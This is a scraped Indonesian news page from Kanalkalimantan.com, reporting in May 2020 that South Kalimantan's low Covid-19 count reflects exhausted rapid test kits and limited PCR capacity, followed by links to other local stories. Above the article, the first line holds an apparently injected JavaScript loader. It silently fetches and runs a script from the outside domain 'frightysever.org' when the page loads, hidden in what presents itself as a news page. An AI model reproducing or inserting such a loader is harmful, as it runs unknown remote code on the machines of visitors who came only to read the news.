(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Jumlah kasus Covid-19 di Provinsi Kalimantan Selatan (Kalsel) dalam beberapa waktu terakhir, belum menunjukan adanya lonjakan signifikan. Lantas, apakah ini menunjukan sebaran kasus di Banua telah berhasil dikendalikan?
Merujuk pada pertanyaan ini, Tim Gugus Tugas Percepatan, Pengendalian dan Penanganan Covid-19 Kalsel membantah asumsi tersebut. Dalam hal ini Plt Kepala BPBD Provinsi Kalsel, Hanif Faisol Nurrofiq angkat bicara.
Dirinya membeberkan bahwa fasilitas pemeriksaan berupa alat rapid test telah habis tak tersisa. Selain itu, kemampuan alat pemeriksaan swab (PCR) saat ini juga tidak cukup menampung sample dari masyarakat.
“Angka kasus Covid-19 di Kalsel belum mengalami peningkatan karena kemampuan testing kita belum mampu mengejar. Alat rapid test kita sudah kosong. Harus antri dulu dengan daerah-daerah lain yang juga memesan alat tersebut,” akunya.
Hanif -sapaan akrabnya- meyakini jika alat rapid test telah datang dan pemeriksaan swab telah selesai, maka akan terjadi ledakan jumlah kasus covid-19 yang signifikan. Ia memperkirakan hal itu akan terjadi pada hari-hari menjelang akhir puasa. “Kami yakin akan terjadi lonjakan kasus yang signifikan menjelang akhir puasa. Untuk itu masyarakat jangan merasanaman, lalu keluar, berkumpul, bahkan tarawih. Tetap ikuti imbaun pemerintah untuk tetap di rumah,” ujar Hanif.
Fakta bahwa telah habisnya alat rapid test, juga turut dibenarkan Kepala Dinas Kesehatan Kota Banjarbaru, Rizana Mirza, saat dihubungi Kanalkalimantan.com. Dirinya mengakui bahwa alat rapid test di Kota Banjarbaru telah habis pada pekan lalu.
“Terakhir kita menggunankan alat rapid test pada Jumat lalu. Sekarang benar-benar sudah habis. Bahkan, untuk ketahapan selanjutnya yakni pemeriksaan swab juga belum bisa kita lakukan,” katanya.
Data terakhir, pada Senin (11/5/2020) sore, menujukan jumlah kasus covid-19 di Kalsel ada sebanyak 262 kasus. Keseluruhan jumlah kasus ini dalam 3 kategori yakni, 199 pasien dirawat, 40 orang dinyatakan sembuh, dan 23 pasien yang dinyatakan meninggal dunia.
Di antara ketiga kategori ini, angka kematian yang terus bertambah. Gugus Tugas Covid-19 Kalsel, mengakui bahwa pelaksanaan tracking -penelusuran- terhadap para pasien mengalami keterlambatan. (Kanalkalimantan.com/rico)
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.